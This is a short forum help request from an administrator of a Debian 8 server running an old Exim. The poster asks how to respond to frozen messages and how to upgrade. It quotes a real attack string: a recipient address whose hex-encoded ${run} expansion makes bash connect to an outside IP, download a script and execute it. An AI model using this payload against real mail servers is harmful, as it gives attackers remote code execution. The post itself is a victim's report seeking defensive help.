Recently, I began to receive similar frozen messages. I have a Debian GNU / Linux server 8.10 Exim version 4.84_2. Everyone reports that this version is not confirmed by attacks, however I get the following messages:
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x31\x35\x2e\x35\x36\x2e\x31\x36\x31\x2f\x34\x34\x33\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost
I do not have in the system of suspicious processes and running cron jobs. What do you recommend to do in this case? I will be very grateful for valuable advice.
Can I upgrade exim to version 4.92 and how to do it on debian 8?